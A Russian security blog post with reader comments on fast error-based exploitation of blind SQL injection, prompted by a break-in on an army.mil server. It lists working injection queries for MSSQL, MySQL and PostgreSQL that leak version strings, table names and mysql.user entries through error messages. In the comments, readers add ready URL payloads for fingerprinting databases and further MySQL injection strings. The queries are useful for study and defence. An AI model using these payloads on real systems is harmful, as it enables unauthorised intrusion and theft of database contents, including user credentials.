Быстрые техники эксплуатации blind SQL Injection

Пару дней назад TinKode вновь напомнил о себе, "поломав" web-сайт в домене army.mil. Под удар попал сервер onestop.army.mil, на котором исследователь обнаружил уязвимость "Слепое внедрение операторов SQL" (blind SQL Injection).

Логически "истинный запрос":



Логически "ложный запрос":



Но на этот раз меня не на столько заинтересовал сам факт компрометации указанного сервера, сколько используемая техника эксплуатации уязвимости blind SQL Injection на СУБД MSSQL 2000:



То есть, при некорректном приведении типов с использованием функции convert() MSSQL помещает "полезные данные" в сообщение об ошибке! Проверка на более старшей версии MSSQL 2005 показала, что используемая техника TinKode работает и на ней:

select convert(int,@@version);
select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=1));
select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=2));
...



Аналогичные махинации с приведением типов были повторены и на распространенной СУБД MySQL. Эксперимент с данной базой данных показал, что при некорректном приведении типов MySQL возвращает лишь не критическое уведомление, которое не позволяет достигнуть аналогичных целей при эксплуатации blind SQL Injection:

mysql> select cast('str1' as char);
+----------------------+
| cast('str1' as char) |
+----------------------+
| str1                 |
+----------------------+
1 row in set (0.00 sec)

mysql> select cast('str1' as decimal);
+-------------------------+
| cast('str1' as decimal) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.01 sec)

mysql> show warnings;
+---------+------+-------------------------------------------+
| Level   | Code | Message                                   |
+---------+------+-------------------------------------------+
| Warning | 1292 | Truncated incorrect DECIMAL value: 'str1' |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)

mysql> select convert('str2',char);
+----------------------+
| convert('str2',char) |
+----------------------+
| str2                 |
+----------------------+
1 row in set (0.00 sec)

mysql> select convert('str2',decimal);
+-------------------------+
| convert('str2',decimal) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+-------------------------------------------+
| Level   | Code | Message                                   |
+---------+------+-------------------------------------------+
| Warning | 1292 | Truncated incorrect DECIMAL value: 'str2' |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)

Ну и ладно:) Зато для MySQL всех версий доступна универсальная техника Qwazar:

select count(*),concat(version(),floor(rand(0)*2))x from table group by x;
select count(*),concat((select user from mysql.user limit 0,1),floor(rand(0)*2)) x from mysql.user group by x;
select count(*),concat((select user from mysql.user limit 1,1),floor(rand(0)*2)) x from mysql.user group by x;
...
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);



За один такой запрос в сообщении об ошибке можно "протащить" до 64 байт полезных данных. Техника работает на MySQL >= v3.x



Продолжив эксперименты с техникой TinKode, было выяснено, что его метод также работает и под PostgreSQL:

select cast(version() as numeric);
select cast((select table_name from information_schema.tables limit 1 offset 0) as numeric);
select cast((select table_name from information_schema.tables limit 1 offset 1) as numeric);
...



PostgreSQL аналогично MSSQL особо не ограничивает длину возвращаемых данных в сообщении об ошибке. В случае если вызов функции pg_last_error() в контексте PHP не происходит, а error_reporting все-таки включен, то тогда за один запрос можно получить до 1229 байт полезных данных в сообщении об ошибке, генерируемой PHP.

А вот с ораклятиной, такие фокусы, к сожалению не проходят:



Стоит покапать в направлении этой СУБД...

10 комментариев :

  1. а вот такие новости о взломах намного полезнее, чем просто взлом ibm :)

    Ннтересно видеть развитие вектора Квазара на других СУБД. Ну а по поводу оракла, так в этой Бд есть очень много возможностей, которых нет в перечисленных выше, так что можно придумать много всего.

    ОтветитьУдалить
  2. Стоит сделать оговорку по поводу версий mysql - подзапросы ввели с 4.1, поэтому сильно уменьшается полезность техники на более ранних версиях.

    ОтветитьУдалить
  3. Универсальные детекты версий баз данных.

    MySQL:
    /?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

    MSSQL:
    /?id=1 and(1)=convert(int,@@version)--

    PostgreSQL:
    /?id=1 and(1)=cast(version() as numeric)--

    Sybase:
    /?id=1 and(1)=convert(int,@@version)--

    ОтветитьУдалить
  4. универсальные запросы для MySQL >= 5.0:

    select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

    select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)y);


    универсальные запросы для MySQL:

    select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x;

    select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)y);

    ОтветитьУдалить
  5. Ну как бы я давно пользовался cast или convert для получения данных MSSQL, более того это если не единственный то самый актуальный способ получить числовые данные в сообщении об ошибке. т.к. числовые значения без проблем конвертируются в "строковые" и поэтому ошибки приведения типов не возникает, в таком случае я делаю так: конкатенирую какой нибудь символ с числом, конвертированным в варчар а результат этого объединения конвертирую в число (int) и тогда происходит нужная ошибка конвертации. Насчет PGsql заметил такое поведение около полугода или года назад

    ОтветитьУдалить
  6. Извините, сначала подумал в старую тему попал, но это же 100 лет как известный баян

    http://www.securitylab.ru/analytics/216211.php

    "Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int."

    24 июня, 2002

    ОтветитьУдалить
  7. да, я уже в курсе этого :) ну что могу сказать, о таких простых вещах узнал только сейчас. готов к закидыванию помидорами за свои незнания ;)

    ОтветитьУдалить
  8. в закладки:

    https://forum.antichat.ru/showpost.php?p=1796647&postcount=20

    https://forum.antichat.ru/showpost.php?p=1802753&postcount=21

    ОтветитьУдалить
  9. Для big data SELECT COUNT можно оптимизировать: http://plutov.by/post/mongodb_counters

    ОтветитьУдалить